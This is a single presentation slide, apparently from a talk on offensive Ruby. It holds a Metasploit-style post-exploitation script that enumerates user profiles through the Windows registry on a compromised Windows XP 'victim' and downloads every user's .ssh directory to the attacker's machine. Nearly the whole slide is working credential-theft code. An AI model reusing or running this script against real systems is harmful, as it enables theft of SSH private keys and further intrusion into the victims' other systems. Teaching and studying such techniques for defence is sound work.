Slide 9
Slide 9 text
def profile_path(profiles_reg_key, sid)
sys_drive_var = "%SystemDrive%"
system_drive = client.fs.file.expand_path(sys_drive_var).to_s
registry_getvaldata(profiles_reg_key + "\\" + sid,"ProfileImagePath")
.gsub!(/\0/,'').sub(sys_drive_var, system_drive)
end
if client.sys.config.sysinfo['OS'].include? "Windows XP" then
print_status "Windows XP found, trying to get user list"
profiles_reg_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
registry_enumkeys(profiles_reg_key).flatten.each do |sid|
path = profile_path(profiles_reg_key, sid)
unless path.include? "systemprofile"
ssh_keys_dir = path + "\\.ssh"
if client.fs.file.exists? ssh_keys_dir
print_status "Downloading ssh keys from #{ssh_keys_dir}"
client.fs.dir.download("/tmp/", "#{ssh_keys_dir}")
end
end
end
else
print_error "Victim is not running Windows XP, giving up!"
end
Offensive Ruby: Fetching contents of .ssh